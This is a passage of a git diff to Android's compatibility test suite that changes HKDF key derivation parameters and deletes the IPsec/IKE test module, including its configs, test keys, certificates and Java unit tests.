-                    Util.concatArrays(sharedSecret, sessionTranscriptBytes);
 
-            byte[] salt = new byte[1];
-            byte[] info = new byte[0];
-
-            salt[0] = 0x00;
-            byte[] derivedKey = Util.computeHkdf("HmacSha256",
-                    sharedSecretWithSessionTranscriptBytes, salt, info, 32);
+            byte[] salt = MessageDigest.getInstance("SHA-256").digest(sessionTranscriptBytes);
+            byte[] info = new byte[] {'E', 'M', 'a', 'c', 'K', 'e', 'y'};
+            byte[] derivedKey = Util.computeHkdf("HmacSha256", sharedSecret, salt, info, 32);
             SecretKey secretKey = new SecretKeySpec(derivedKey, "");
             return secretKey;
         } catch (InvalidKeyException
diff --git a/tests/tests/instantapp/Android.bp b/tests/tests/instantapp/Android.bp
index 2a79664..62bc24f 100644
--- a/tests/tests/instantapp/Android.bp
+++ b/tests/tests/instantapp/Android.bp
@@ -30,6 +30,7 @@
     ],
     test_suites: [
         "cts",
+        "general-tests",
         "vts",
         "device-tests",
     ],
diff --git a/tests/tests/ipsec/Android.bp b/tests/tests/ipsec/Android.bp
deleted file mode 100644
index 948cc05..0000000
--- a/tests/tests/ipsec/Android.bp
+++ /dev/null
@@ -1,48 +0,0 @@
-// Copyright (C) 2020 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-android_test {
-    name: "CtsIkeTestCases",
-    defaults: ["cts_defaults"],
-
-    // Include both the 32 and 64 bit versions
-    compile_multilib: "both",
-
-    libs: [
-        "android.net.ipsec.ike.stubs.system",
-        "android.test.base",
-    ],
-
-    srcs: [
-        "src/**/*.java",
-        ":ike-test-utils",
-    ],
-
-    static_libs: [
-        "androidx.test.ext.junit",
-        "compatibility-device-util-axt",
-        "ctstestrunner-axt",
-        "net-tests-utils",
-    ],
-
-    platform_apis: true,
-
-    // Tag this module as a cts test artifact
-    test_suites: [
-        "cts",
-        "mts",
-        "vts",
-        "general-tests",
-    ],
-}
diff --git a/tests/tests/ipsec/AndroidManifest.xml b/tests/tests/ipsec/AndroidManifest.xml
deleted file mode 100644
index 052b12d..0000000
--- a/tests/tests/ipsec/AndroidManifest.xml
+++ /dev/null
@@ -1,39 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.ipsec.cts"
-    android:targetSandboxVersion="2">
-
-    <!--Allow tests to call ConnectivityManager#getActiveNetwork()-->
-    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
-    <!--Allow tests to create socket -->
-    <uses-permission android:name="android.permission.INTERNET"/>
-
-    <application android:label="CtsIkeTestCases">
-        <uses-library android:name="android.test.runner" />
-        <uses-library android:name="android.net.ipsec.ike" />
-    </application>
-
-    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.ipsec.cts"
-                     android:label="CTS tests of android.net.ipsec.ike">
-        <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
-    </instrumentation>
-
-</manifest>
diff --git a/tests/tests/ipsec/AndroidTest.xml b/tests/tests/ipsec/AndroidTest.xml
deleted file mode 100644
index 7ebfd95..0000000
--- a/tests/tests/ipsec/AndroidTest.xml
+++ /dev/null
@@ -1,33 +0,0 @@
-<!-- Copyright (C) 2020 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Config for CTS IKE test cases">
-    <option name="test-suite-tag" value="cts" />
-    <option name="config-descriptor:metadata" key="component" value="networking" />
-    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
-    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
-    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
-    <option name="not-shardable" value="true" />
-    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
-        <option name="cleanup-apks" value="true" />
-        <option name="test-file-name" value="CtsIkeTestCases.apk" />
-    </target_preparer>
-    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
-        <option name="package" value="android.ipsec.cts" />
-        <option name="hidden-api-checks" value="false" />
-    </test>
-    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
-        <option name="mainline-module-package-name" value="com.google.android.ipsec" />
-    </object>
-</configuration>
diff --git a/tests/tests/ipsec/OWNERS b/tests/tests/ipsec/OWNERS
deleted file mode 100644
index 26407ff..0000000
--- a/tests/tests/ipsec/OWNERS
+++ /dev/null
@@ -1,3 +0,0 @@
-lorenzo@google.com
-nharold@google.com
-satk@google.com
diff --git a/tests/tests/ipsec/assets/key/client-a-private-key.key b/tests/tests/ipsec/assets/key/client-a-private-key.key
deleted file mode 100644
index 22736e9..0000000
--- a/tests/tests/ipsec/assets/key/client-a-private-key.key
+++ /dev/null
@@ -1,28 +0,0 @@
------BEGIN PRIVATE KEY-----
-MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCv3CvrCGokJSWL
-8ufg6u9LCW4EezztbktqpC0T+1m98+Ujb8/eJ0L2UaxZ9QBSBAqXxEoeZFBeoCXu
-7ezUd5qUPfIhKLAkQTAyU/KgfhHh4i+MJK5ghPbGDE8r2gKUXOkM6M5//ZCpmu0K
-Y/9uQL6D5bkxEaoWegEO+wSXm+hTTgKDtQKHvRibgdcZkcY0cA9JsLrC/nIkP+7i
-pbBT+VTuV6gAnKIV0nq8zvI3A/Z3nAb5Gt0g3qaqs59StDT0QtuXzJkuZEo3XSrS
-jon+8NjSNzqVbJj95B7+uiH+91VEbMtJYFz2MipKvJQDK7Zlxke7LxRj2xJfksJK
-a92/ncxfAgMBAAECggEAQztaMvW5lm35J8LKsWs/5qEJRX9T8LWs8W0oqq36Riub
-G2wgvR6ndAIPcSjAYZqX7iOl7m6NZ0+0kN63HxdGqovwKIskpAekBGmhpYftED1n
-zh0r6UyMB3UnQ22KdOv8UOokIDxxdNX8728BdUYdT9Ggdkj5jLRB+VcwD0IUlNvo
-zzTpURV9HEd87uiLqd4AAHXSI0lIHI5U43z24HI/J6/YbYHT3Rlh6CIa/LuwO6vL
-gFkgqg0/oy6yJtjrHtzNVA67F0UaH62hR4YFgbC0d955SJnDidWOv/0j2DMpfdCc
-9kFAcPwUSyykvUSLnGIKWSG4D+6gzIeAeUx4oO7kMQKBgQDVNRkX8AGTHyLg+NXf
-spUWWcodwVioXl30Q7h6+4bt8OI61UbhQ7wX61wvJ1cySpa2KOYa2UdagQVhGhhL
-ADu363R77uXF/jZgzVfmjjyJ2nfDqRgHWRTlSkuq/jCOQCz7VIPHRZg5WL/9D4ms
-TAqMjpzqeMfFZI+w4/+xpcJIuQKBgQDTKBy+ZuerWrVT9icWKvLU58o5EVj/2yFy
-GJvKm+wRAAX2WzjNnR4HVd4DmMREVz1BPYby0j5gqjvtDsxYYu39+NT7JvMioLLK
-QPj+7k5geYgNqVgCxB1vP89RhY2X1RLrN9sTXOodgFPeXOQWNYITkGp3eQpx4nTJ
-+K/al3oB1wKBgAjnc8nVIyuyxDEjE0OJYMKTM2a0uXAmqMPXxC+Wq5bqVXhhidlE
-i+lv0eTCPtkB1nN7F8kNQ/aaps/cWCFhvBy9P5shagUvzbOTP9WIIS0cq53HRRKh
-fMbqqGhWv05hjb9dUzeSR341n6cA7B3++v3Nwu3j52vt/DZF/1q68nc5AoGAS0SU
-ImbKE/GsizZGLoe2sZ/CHN+LKwCwhlwxRGKaHmE0vuE7eUeVSaYZEo0lAPtb8WJ+
-NRYueASWgeTxgFwbW5mUScZTirdfo+rPFwhZVdhcYApKPgosN9i2DOgfVcz1BnWN
-mPRY25U/0BaqkyQVruWeneG+kGPZn5kPDktKiVcCgYEAkzwU9vCGhm7ZVALvx/zR
-wARz2zsL9ImBc0P4DK1ld8g90FEnHrEgeI9JEwz0zFHOCMLwlk7kG0Xev7vfjZ7G
-xSqtQYOH33Qp6rtBOgdt8hSyDFvakvDl6bqhAw52gelO3MTpAB1+ZsfZ5gFx13Jf
-idNFcaIrC52PtZIH7QCzdDY=
------END PRIVATE KEY-----
\ No newline at end of file
diff --git a/tests/tests/ipsec/assets/pem/client-a-end-cert.pem b/tests/tests/ipsec/assets/pem/client-a-end-cert.pem
deleted file mode 100644
index e82da85..0000000
--- a/tests/tests/ipsec/assets/pem/client-a-end-cert.pem
+++ /dev/null
@@ -1,21 +0,0 @@
------BEGIN CERTIFICATE-----
-MIIDaDCCAlCgAwIBAgIIcorRI3n29E4wDQYJKoZIhvcNAQELBQAwQTELMAkGA1UE
-BhMCVVMxEDAOBgNVBAoTB0FuZHJvaWQxIDAeBgNVBAMTF3R3by5jYS50ZXN0LmFu
-ZHJvaWQubmV0MB4XDTIwMDQxNDA1MDM0OVoXDTIzMDQxNDA1MDM0OVowRTELMAkG
-A1UEBhMCVVMxEDAOBgNVBAoTB0FuZHJvaWQxJDAiBgNVBAMTG2NsaWVudC50ZXN0
-LmlrZS5hbmRyb2lkLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
-AK/cK+sIaiQlJYvy5+Dq70sJbgR7PO1uS2qkLRP7Wb3z5SNvz94nQvZRrFn1AFIE
-CpfESh5kUF6gJe7t7NR3mpQ98iEosCRBMDJT8qB+EeHiL4wkrmCE9sYMTyvaApRc
-6Qzozn/9kKma7Qpj/25AvoPluTERqhZ6AQ77BJeb6FNOAoO1Aoe9GJuB1xmRxjRw
-D0mwusL+ciQ/7uKlsFP5VO5XqACcohXSerzO8jcD9necBvka3SDepqqzn1K0NPRC
-25fMmS5kSjddKtKOif7w2NI3OpVsmP3kHv66If73VURsy0lgXPYyKkq8lAMrtmXG
-R7svFGPbEl+Swkpr3b+dzF8CAwEAAaNgMF4wHwYDVR0jBBgwFoAUcqSu1uRYT/DL
-bLoDNUz38nGvCKQwJgYDVR0RBB8wHYIbY2xpZW50LnRlc3QuaWtlLmFuZHJvaWQu
-bmV0MBMGA1UdJQQMMAoGCCsGAQUFBwMCMA0GCSqGSIb3DQEBCwUAA4IBAQCa53tK
-I9RM9/MutZ5KNG2Gfs2cqaPyv8ZRhs90HDWZhkFVu7prywJAxOd2hxxHPsvgurio
-4bKAxnT4EXevgz5YoCbj2TPIL9TdFYh59zZ97XXMxk+SRdypgF70M6ETqKPs3hDP
-ZRMMoHvvYaqaPvp4StSBX9A44gSyjHxVYJkrjDZ0uffKg5lFL5IPvqfdmSRSpGab
-SyGTP4OLTy0QiNV3pBsJGdl0h5BzuTPR9OTl4xgeqqBQy2bDjmfJBuiYyCSCkPi7
-T3ohDYCymhuSkuktHPNG1aKllUJaw0tuZuNydlgdAveXPYfM36uvK0sfd9qr9pAy
-rmkYV2MAWguFeckh
------END CERTIFICATE-----
\ No newline at end of file
diff --git a/tests/tests/ipsec/assets/pem/client-a-intermediate-ca-one.pem b/tests/tests/ipsec/assets/pem/client-a-intermediate-ca-one.pem
deleted file mode 100644
index 707e575..0000000
--- a/tests/tests/ipsec/assets/pem/client-a-intermediate-ca-one.pem
+++ /dev/null
@@ -1,21 +0,0 @@
------BEGIN CERTIFICATE-----
-MIIDaDCCAlCgAwIBAgIIIbjMyRn2770wDQYJKoZIhvcNAQELBQAwQjELMAkGA1UE
-BhMCVVMxEDAOBgNVBAoTB0FuZHJvaWQxITAfBgNVBAMTGHJvb3QuY2EudGVzdC5h
-bmRyb2lkLm5ldDAeFw0xOTA5MzAxODQzMThaFw0yNDA5MjgxODQzMThaMEExCzAJ
-BgNVBAYTAlVTMRAwDgYDVQQKEwdBbmRyb2lkMSAwHgYDVQQDExdvbmUuY2EudGVz
-dC5hbmRyb2lkLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKNN
-sRr5Z30rAEw2jrAh/BIekbEy/MvOucAr1w0lxH71p+ybRBx5Bj7G07UGXbL659gm
-meMV6nabY4HjQXNMq22POiJBZj+U+rw34br6waljBttxCmmJac1VvgqNsSspXjRy
-NbiVQdFjyKSX0NOPcEkwANk15mZbOgJBaYYc8jQCY2G/p8eARVBTLJCy8LEwEU6j
-XRv/4eYST79qpBFc7gQQj2FLmh9oppDIvcIVBHwtd1tBoVuehRSud1o8vQRkl/HJ
-Mrwp24nO5YYhmVNSFRtBpmWMSu1KknFUwkOebINUNsKXXHebVa7cP4XIQUL8mRT3
-5X9rFJFSQJE01S3NjNMCAwEAAaNjMGEwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8B
-Af8EBAMCAQYwHQYDVR0OBBYEFHK3FIm7g8dxEIwK9zMAO8EWhRYxMB8GA1UdIwQY
-MBaAFEmfqEeF14Nj91ekIpR+sVhCEoAaMA0GCSqGSIb3DQEBCwUAA4IBAQAeMlXT
-TnxZo8oz0204gKZ63RzlgDpJ7SqA3qFG+pV+TiqGfSuVkXuIdOskjxJnA9VxUzrr
-LdMTCn5e0FK6wCYjZ2GT/CD7oD3vSMkzGbLGNcNJhhDHUq8BOLPkPzz/rwQFPBSb
-zr6hsiVXphEt/psGoN7Eu9blPeQaIwMfWnaufAwF664S/3dmCRbNMWSam1qzzz8q
-jr0cDOIMa//ZIAcM16cvoBK6pFGnUmuoJYYRtfpY5MmfCWz0sCJxENIX/lxyhd7N
-FdRALA1ZP3E//Tn2vQoeFjbKaAba527RE26HgHJ9zZDo1nn8J8J/YwYRJdBWM/3S
-LYebNiMtcyB5nIkj
------END CERTIFICATE-----
\ No newline at end of file
diff --git a/tests/tests/ipsec/assets/pem/client-a-intermediate-ca-two.pem b/tests/tests/ipsec/assets/pem/client-a-intermediate-ca-two.pem
deleted file mode 100644
index 39808f8..0000000
--- a/tests/tests/ipsec/assets/pem/client-a-intermediate-ca-two.pem
+++ /dev/null
@@ -1,21 +0,0 @@
------BEGIN CERTIFICATE-----
-MIIDZzCCAk+gAwIBAgIIKWCREnNCs+wwDQYJKoZIhvcNAQELBQAwQTELMAkGA1UE
-BhMCVVMxEDAOBgNVBAoTB0FuZHJvaWQxIDAeBgNVBAMTF29uZS5jYS50ZXN0LmFu
-ZHJvaWQubmV0MB4XDTE5MDkzMDE4NDQwMloXDTI0MDkyODE4NDQwMlowQTELMAkG
-A1UEBhMCVVMxEDAOBgNVBAoTB0FuZHJvaWQxIDAeBgNVBAMTF3R3by5jYS50ZXN0
-LmFuZHJvaWQubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxLUa
-RqkYl2m7lUmMnkooqO0DNNY1aN9r7mJc3ndYn5gjkpb3yLgOYPDNLcQerV6uWk/u
-qKudNHed2dInGonl3oxwwv7++6oUvvtrSWLDZlRg16GsdIE1Y98DSMQWkSxevYy9
-Nh6FGTdlBFQVMpiMa8qHEkrOyKsy85yCW1sgzlpGTIBwbDAqYtwe3rgbwyHwUtfy
-0EU++DBcR4ll/pDqB0OQtW5E3AOq2GH1iaGeFLKSUQ5KAbdI8y4/b8IkSDffvxcc
-kXig7S54aLrNlL/ZjQ+H4Chgjj2A5wMucd81+Fb60Udej73ICL9PpMPnXQ1+BVYd
-MJ/txjLNmrOJG9yEHQIDAQABo2MwYTAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB
-/wQEAwIBBjAdBgNVHQ4EFgQUcqSu1uRYT/DLbLoDNUz38nGvCKQwHwYDVR0jBBgw
-FoAUcrcUibuDx3EQjAr3MwA7wRaFFjEwDQYJKoZIhvcNAQELBQADggEBADY461GT
-Rw0dGnD07xaGJcI0i0pV+WnGSrl1s1PAIdMYihJAqYnh10fXbFXLm2WMWVmv/pxs
-FI/xDJno+pd4mCa/sIhm63ar/Nv+lFQmcpIlvSlKnhhV4SLNBeqbVhPBGTCHfrG4
-aIyCwm1KJsnkWbf03crhSskR/2CXIjX6lcAy7K3fE2u1ELpAdH0kMJR7VXkLFLUm
-gqe9YCluR0weMpe2sCaOGzdVzQSmMMCzGP5cxeFR5U6K40kMOpiW11JNmQ06xI/m
-YVkMNwoiV/ITT0/C/g9FxJmkO0mVSLEqxaLS/hNiQNDlroVM0rbxhzviXLI3R3AO
-50VvlOQYGxWed/I=
------END CERTIFICATE-----
\ No newline at end of file
diff --git a/tests/tests/ipsec/assets/pem/server-a-self-signed-ca.pem b/tests/tests/ipsec/assets/pem/server-a-self-signed-ca.pem
deleted file mode 100644
index 972fd55..0000000
--- a/tests/tests/ipsec/assets/pem/server-a-self-signed-ca.pem
+++ /dev/null
@@ -1,20 +0,0 @@
------BEGIN CERTIFICATE-----
-MIIDSDCCAjCgAwIBAgIITJQJ6HC1rjwwDQYJKoZIhvcNAQELBQAwQjELMAkGA1UE
-BhMCVVMxEDAOBgNVBAoTB0FuZHJvaWQxITAfBgNVBAMTGHJvb3QuY2EudGVzdC5h
-bmRyb2lkLm5ldDAeFw0xOTA5MzAxNzU1NTJaFw0yOTA5MjcxNzU1NTJaMEIxCzAJ
-BgNVBAYTAlVTMRAwDgYDVQQKEwdBbmRyb2lkMSEwHwYDVQQDExhyb290LmNhLnRl
-c3QuYW5kcm9pZC5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCT
-q3hGF+JvLaB1xW7KGKmaxiQ7BxX2Sn7cbp7ggoVYXsFlBUuPPv3+Vg5PfPCPhsJ8
-/7w4HyKo3uc/vHs5HpQ7rSd9blhAkfmJci2ULLq73FB8Mix4CzPwMx29RrN1X9bU
-z4G0vJMczIBGxbZ0uw7n8bKcXBV7AIeax+J8lseEZ3k8iSuBkUJqGIpPFKTqByFZ
-A1Lvt47xkON5SZh6c/Oe+o6291wXaCOJUSAKv6PAWZkq9HeD2fqKA/ck9dBaz1M3
-YvzQ9V/7so3/dECjAfKia388h1I6XSGNUM+d5hpxMXpAFgG42eUXHpJ10OjDvSwd
-7ZSC91/kRQewUomEKBK1AgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0P
-AQH/BAQDAgEGMB0GA1UdDgQWBBRJn6hHhdeDY/dXpCKUfrFYQhKAGjANBgkqhkiG
-9w0BAQsFAAOCAQEAig/94aGfHBhZuvbbhwAK4rUNpizmR567u0ZJ+QUEKyAlo9lT
-ZWYHSm7qTAZYvPEjzTQIptnAlxCHePXh3Cfwgo+r82lhG2rcdI03iRyvHWjM8gyk
-BXCJTi0Q08JHHpTP6GnAqpz58qEIFkk8P766zNXdhYrGPOydF+p7MFcb1Zv1gum3
-zmRLt0XUAMfjPUv1Bl8kTKFxH5lkMBLR1E0jnoJoTTfgRPrf9CuFSoh48n7YhoBT
-KV75xZY8b8+SuB0v6BvQmkpKZGoxBjuVsShyG7q1+4JTAtwhiP7BlkDvVkaBEi7t
-WIMFp2r2ZDisHgastNaeYFyzHYz9g1FCCrHQ4w==
------END CERTIFICATE-----
\ No newline at end of file
diff --git a/tests/tests/ipsec/src/android/eap/cts/EapSessionConfigTest.java b/tests/tests/ipsec/src/android/eap/cts/EapSessionConfigTest.java
deleted file mode 100644
index b0a257a..0000000
--- a/tests/tests/ipsec/src/android/eap/cts/EapSessionConfigTest.java
+++ /dev/null
@@ -1,98 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.eap.cts;
-
-import static android.telephony.TelephonyManager.APPTYPE_USIM;
-
-import static org.junit.Assert.assertArrayEquals;
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertTrue;
-
-import android.net.eap.EapSessionConfig;
-import android.net.eap.EapSessionConfig.EapAkaConfig;
-import android.net.eap.EapSessionConfig.EapAkaPrimeConfig;
-import android.net.eap.EapSessionConfig.EapMsChapV2Config;
-import android.net.eap.EapSessionConfig.EapSimConfig;
-import android.net.eap.EapSessionConfig.EapUiccConfig;
-
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@RunWith(AndroidJUnit4.class)
-public class EapSessionConfigTest {
-    // These constants are IANA-defined values and are copies of hidden constants in
-    // frameworks/opt/net/ike/src/java/com/android/internal/net/eap/message/EapData.java.
-    private static final int EAP_TYPE_SIM = 18;
-    private static final int EAP_TYPE_AKA = 23;
-    private static final int EAP_TYPE_MSCHAP_V2 = 26;
-    private static final int EAP_TYPE_AKA_PRIME = 50;
-
-    private static final int SUB_ID = 1;
-    private static final byte[] EAP_IDENTITY = "test@android.net".getBytes();
-    private static final String NETWORK_NAME = "android.net";
-    private static final String EAP_MSCHAPV2_USERNAME = "username";
-    private static final String EAP_MSCHAPV2_PASSWORD = "password";
-
-    @Test
-    public void testBuildWithAllEapMethods() {
-        EapSessionConfig result =
-                new EapSessionConfig.Builder()
-                        .setEapIdentity(EAP_IDENTITY)
-                        .setEapSimConfig(SUB_ID, APPTYPE_USIM)
-                        .setEapAkaConfig(SUB_ID, APPTYPE_USIM)
-                        .setEapAkaPrimeConfig(
-                                SUB_ID,
-                                APPTYPE_USIM,
-                                NETWORK_NAME,
-                                true /* allowMismatchedNetworkNames */)
-                        .setEapMsChapV2Config(EAP_MSCHAPV2_USERNAME, EAP_MSCHAPV2_PASSWORD)
-                        .build();
-
-        assertArrayEquals(EAP_IDENTITY, result.getEapIdentity());
-
-        EapSimConfig eapSimConfig = result.getEapSimConfig();
-        assertNotNull(eapSimConfig);
-        assertEquals(EAP_TYPE_SIM, eapSimConfig.getMethodType());
-        verifyEapUiccConfigCommon(eapSimConfig);
-
-        EapAkaConfig eapAkaConfig = result.getEapAkaConfig();
-        assertNotNull(eapAkaConfig);
-        assertEquals(EAP_TYPE_AKA, eapAkaConfig.getMethodType());
-        verifyEapUiccConfigCommon(eapAkaConfig);
-
-        EapAkaPrimeConfig eapAkaPrimeConfig = result.getEapAkaPrimeConfig();
-        assertNotNull(eapAkaPrimeConfig);
-        assertEquals(EAP_TYPE_AKA_PRIME, eapAkaPrimeConfig.getMethodType());
-        assertEquals(NETWORK_NAME, eapAkaPrimeConfig.getNetworkName());
-        assertTrue(NETWORK_NAME, eapAkaPrimeConfig.allowsMismatchedNetworkNames());
-        verifyEapUiccConfigCommon(eapAkaPrimeConfig);
-
-        EapMsChapV2Config eapMsChapV2Config = result.getEapMsChapV2onfig();
-        assertNotNull(eapMsChapV2Config);
-        assertEquals(EAP_TYPE_MSCHAP_V2, eapMsChapV2Config.getMethodType());
-        assertEquals(EAP_MSCHAPV2_USERNAME, eapMsChapV2Config.getUsername());
-        assertEquals(EAP_MSCHAPV2_PASSWORD, eapMsChapV2Config.getPassword());
-    }
-
-    private void verifyEapUiccConfigCommon(EapUiccConfig config) {
-        assertEquals(SUB_ID, config.getSubId());
-        assertEquals(APPTYPE_USIM, config.getAppType());
-    }
-}
diff --git a/tests/tests/ipsec/src/android/ipsec/ike/cts/ChildSessionParamsTest.java b/tests/tests/ipsec/src/android/ipsec/ike/cts/ChildSessionParamsTest.java
deleted file mode 100644
index 9cba90b..0000000
--- a/tests/tests/ipsec/src/android/ipsec/ike/cts/ChildSessionParamsTest.java
+++ /dev/null
@@ -1,230 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.ipsec.ike.cts;
-
-import static android.system.OsConstants.AF_INET;
-import static android.system.OsConstants.AF_INET6;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertTrue;
-
-import android.net.LinkAddress;
-import android.net.ipsec.ike.ChildSaProposal;
-import android.net.ipsec.ike.ChildSessionParams;
-import android.net.ipsec.ike.TransportModeChildSessionParams;
-import android.net.ipsec.ike.TunnelModeChildSessionParams;
-import android.net.ipsec.ike.TunnelModeChildSessionParams.ConfigRequestIpv4Address;
-import android.net.ipsec.ike.TunnelModeChildSessionParams.ConfigRequestIpv4DhcpServer;
-import android.net.ipsec.ike.TunnelModeChildSessionParams.ConfigRequestIpv4DnsServer;
-import android.net.ipsec.ike.TunnelModeChildSessionParams.ConfigRequestIpv4Netmask;
-import android.net.ipsec.ike.TunnelModeChildSessionParams.ConfigRequestIpv6Address;
-import android.net.ipsec.ike.TunnelModeChildSessionParams.ConfigRequestIpv6DnsServer;
-import android.net.ipsec.ike.TunnelModeChildSessionParams.TunnelModeChildConfigRequest;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.net.Inet4Address;
-import java.util.Arrays;
-import java.util.HashMap;
-import java.util.HashSet;
-import java.util.Map;
-import java.util.Set;
-import java.util.concurrent.TimeUnit;
-
-@RunWith(AndroidJUnit4.class)
-public class ChildSessionParamsTest extends IkeTestBase {
-    private static final int HARD_LIFETIME_SECONDS = (int) TimeUnit.HOURS.toSeconds(3L);
-    private static final int SOFT_LIFETIME_SECONDS = (int) TimeUnit.HOURS.toSeconds(1L);
-
-    // Random proposal. Content doesn't matter
-    private final ChildSaProposal mSaProposal =
-            SaProposalTest.buildChildSaProposalWithCombinedModeCipher();
-
-    private void verifyTunnelModeChildParamsWithDefaultValues(ChildSessionParams childParams) {
-        assertTrue(childParams instanceof TunnelModeChildSessionParams);
-        verifyChildParamsWithDefaultValues(childParams);
-    }
-
-    private void verifyTunnelModeChildParamsWithCustomizedValues(ChildSessionParams childParams) {
-        assertTrue(childParams instanceof TunnelModeChildSessionParams);
-        verifyChildParamsWithCustomizedValues(childParams);
-    }
-
-    private void verifyTransportModeChildParamsWithDefaultValues(ChildSessionParams childParams) {
-        assertTrue(childParams instanceof TransportModeChildSessionParams);
-        verifyChildParamsWithDefaultValues(childParams);
-    }
-
-    private void verifyTransportModeChildParamsWithCustomizedValues(
-            ChildSessionParams childParams) {
-        assertTrue(childParams instanceof TransportModeChildSessionParams);
-        verifyChildParamsWithCustomizedValues(childParams);
-    }
-
-    private void verifyChildParamsWithDefaultValues(ChildSessionParams childParams) {
-        assertEquals(Arrays.asList(mSaProposal), childParams.getSaProposals());
-
-        // Do not do assertEquals to the default values to be avoid being a change-detector test
-        assertTrue(childParams.getHardLifetimeSeconds() > childParams.getSoftLifetimeSeconds());
-        assertTrue(childParams.getSoftLifetimeSeconds() > 0);
-
-        assertEquals(
-                Arrays.asList(DEFAULT_V4_TS, DEFAULT_V6_TS),
-                childParams.getInboundTrafficSelectors());
-        assertEquals(
-                Arrays.asList(DEFAULT_V4_TS, DEFAULT_V6_TS),
-                childParams.getOutboundTrafficSelectors());
-    }
-
-    private void verifyChildParamsWithCustomizedValues(ChildSessionParams childParams) {
-        assertEquals(Arrays.asList(mSaProposal), childParams.getSaProposals());
-
-        assertEquals(HARD_LIFETIME_SECONDS, childParams.getHardLifetimeSeconds());
-        assertEquals(SOFT_LIFETIME_SECONDS, childParams.getSoftLifetimeSeconds());
-
-        assertEquals(
-                Arrays.asList(INBOUND_V4_TS, INBOUND_V6_TS),
-                childParams.getInboundTrafficSelectors());
-        assertEquals(
-                Arrays.asList(OUTBOUND_V4_TS, OUTBOUND_V6_TS),
-                childParams.getOutboundTrafficSelectors());
-    }
-
-    @Test
-    public void testBuildTransportModeParamsWithDefaultValues() {
-        TransportModeChildSessionParams childParams =
-                new TransportModeChildSessionParams.Builder().addSaProposal(mSaProposal).build();
-
-        verifyTransportModeChildParamsWithDefaultValues(childParams);
-    }
-
-    @Test
-    public void testBuildTunnelModeParamsWithDefaultValues() {
-        TunnelModeChildSessionParams childParams =
-                new TunnelModeChildSessionParams.Builder().addSaProposal(mSaProposal).build();
-
-        verifyTunnelModeChildParamsWithDefaultValues(childParams);
-        assertTrue(childParams.getConfigurationRequests().isEmpty());
-    }
-
-    @Test
-    public void testBuildTransportModeParamsWithCustomizedValues() {
-        TransportModeChildSessionParams childParams =
-                new TransportModeChildSessionParams.Builder()
-                        .addSaProposal(mSaProposal)
-                        .setLifetimeSeconds(HARD_LIFETIME_SECONDS, SOFT_LIFETIME_SECONDS)
-                        .addInboundTrafficSelectors(INBOUND_V4_TS)
